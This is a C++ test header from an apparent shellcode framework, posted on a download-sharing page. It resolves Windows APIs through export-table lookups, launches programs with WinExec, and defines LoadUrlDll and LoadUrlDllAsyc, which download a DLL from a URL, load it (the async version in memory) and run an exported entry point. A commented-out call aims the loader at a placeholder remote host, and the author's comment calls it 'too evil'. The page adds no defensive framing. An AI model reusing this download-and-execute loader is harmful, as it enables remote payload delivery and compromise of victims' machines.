ShellCodeUtil_Test bin
/***************************************************************** 文件名 : ShellCodeMainTest.hpp 描述 : 作者 : liqi09 最后修改日期 : 2015-05-13 16:17 修改人 : 最后修改日期 : 修改描述 : Copyright (C) All Rights Reserved *****************************************************************/ #ifndef __SHELLCODEMAINTEST_HPP__ #define __SHELLCODEMAINTEST_HPP__ #include "Extend/ShellCodeApiDefine.h" #include "Extend/asyc.h" void FunctionTest() { char szBuffer[20]; strcpy(szBuffer, S("CopyBuffer")); Trace(szBuffer); Trace(S("%s"), S("Trace init ok!")); Trace(S("wsprintfA EatAddr:%p ProcAddr:%p"), EatAddr("user32", "wsprintfA"), ProcAddr("user32", "wsprintfA")); MsvcrtCall(printf, S("%s"), S("printf init ok!\n")); MsvcrtCall(printf, S("cmdline:%s\n"), Fun("kernel32", GetCommandLineA)()); Kernel32Call(WinExec, S("notepad.exe"), SW_SHOW); MsvcrtCall(system, S("pause")); } class CClassTest { public: CClassTest(){ Trace(S("CTest")); } ~CClassTest(){ Trace(S("~CTest")); } void Function1(){ Trace(S("Function1")); } }; BOOL LoadUrlDll(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = LoadLibraryA(szFile); if (hModule) { FARPROC Entry = GetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } FreeLibrary(hModule); } } return bOk; } BOOL LoadUrlDllAsyc(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = AsycLoadLibrary(szFile, TRUE, NULL); if (hModule) { FARPROC Entry = AsycGetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } AsycFreeLibrary(hModule, TRUE); } } return bOk; } void ShellCodeMain() { CClassTest t; t.Function1(); FunctionTest(); //下载dll并内存加载,太过邪恶,先注掉。。 //LoadUrlDllAsyc(S("http://xxx.com.cn/test/TestDll.dll"), S("Entry")); } #endif // __SHELLCODEMAINTEST_HPP__
- 1
- 粉丝: 0
- 资源: 13
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助